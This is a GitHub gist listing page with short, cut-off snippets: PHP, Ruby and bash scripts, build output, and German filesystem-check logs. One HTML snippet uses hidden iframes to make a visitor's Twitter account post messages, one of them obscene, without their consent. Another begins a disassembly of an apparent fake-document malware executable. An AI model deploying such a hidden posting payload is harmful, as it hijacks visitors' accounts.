Skip to content

Instantly share code, notes, and snippets.

View fritz0705's full-sized avatar
🎂

Fritz fritz0705

🎂
View GitHub Profile
<?php
namespace ActionController\Routing;
class Routes {
public static $map = null;
public static function draw(\Closure $lambda) {
$lambda->__invoke(self::$map);
}
diff --git a/class/Controller.php b/class/Controller.php
index 86d7624..2ac69e3 100755
--- a/class/Controller.php
+++ b/class/Controller.php
@@ -66,5 +66,14 @@ abstract class Controller {
* the main Controller View
*/
public abstract function index();
+
+ /**
/bin/sh /root/php-5.3.2/libtool --silent --preserve-dup-deps --mode=link gcc -I/usr/include -g -O2 -fvisibility=hidden -prefer-non-pic -rpath /root/php-5.3.2/libs -avoid-version -module -L/usr/srv/libxml2/lib -L/usr/srv/sqlite3/lib -L/usr/srv/zlib/lib -L/usr/srv/mysql/lib/mysql -L/usr/srv/libxslt/lib -R /usr/srv/libxml2/lib -R /usr/srv/sqlite3/lib -R /usr/srv/zlib/lib -R /usr/srv/mysql/lib/mysql -R /usr/srv/libxslt/lib ext/date/php_date.lo ext/date/lib/astro.lo ext/date/lib/dow.lo ext/date/lib/parse_date.lo ext/date/lib/parse_tz.lo ext/date/lib/timelib.lo ext/date/lib/tm2unixtime.lo ext/date/lib/unixtime2tm.lo ext/date/lib/parse_iso_intervals.lo ext/date/lib/interval.lo ext/ereg/ereg.lo ext/ereg/regex/regcomp.lo ext/ereg/regex/regexec.lo ext/ereg/regex/regerror.lo ext/ereg/regex/regfree.lo ext/libxml/libxml.lo ext/pcre/pcrelib/pcre_chartables.lo ext/pcre/pcrelib/pcre_ucd.lo ext/pcre/pcrelib/pcre_compile.lo ext/pcre/pcrelib/pcre_config.lo ext/pcre/pcrelib/pcre_exec.lo ext/pcre/pcrelib/pcre_fullinfo.lo ext/pc
def dm_crypt(message, key)
if key.empty?
return message
end
result = ""
i = 0
message.each_byte do |byte|
result += (byte ^ key[i % key.bytesize].ord ^ i).chr
eFAX70AAAF.doc.exe: file format pei-i386
Disassembly of section .text:
00401000 <.text>:
401000: 4a dec %edx
401001: 24 00 and $0x0,%al
401003: 00 00 add %al,(%eax)
#!/usr/bin/env ruby
if $*.length < 2
$stderr.puts "Usage: random.rb MIN_NUMBER MAX_NUMBER [QUALITY]"
exit
end
range = Range.new($*[0].to_i, $*[1].to_i)
quality = $*[2] != nil ? $*[2].to_i : 10
<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
@fritz0705
fritz0705 / todo.list
Created October 15, 2010 21:37
Script to display all TODO's in $PATH
#!/bin/bash
# List TODO notices in directory
Files=`find`
echo "TODO List"
echo
for i in $Files
do
if [ "`echo $i | grep '.git'`" != "" ]
@fritz0705
fritz0705 / TODO
Created October 19, 2010 22:18
TODO
1. Domainkündigungen verschicken
2. Eigene Homepage basteln
e2fsck 1.41.12 (17-May-2010)
Warnung! /dev/sda1 ist eingehängt.
Warnung: Überspringe Journal-Wiederherstellung, da das Dateisystem im Nur-Lesen-Modus ist.
/dev/sda1 enthält ein fehlerhaftes Dateisystem, Prüfung erzwungen.
Durchgang 1: Prüfe Inodes, Blocks, und Größen
Durchgang 2: Prüfe Verzeichnis Struktur
Durchgang 3: Prüfe Verzeichnis Verknüpfungen
Durchgang 4: Überprüfe die Referenzzähler
Durchgang 5: Überprüfe Gruppe Zusammenfassung
Die Anzahl freier Blöcke in Gruppe #737 ist falsch (31371, gezählt=31372).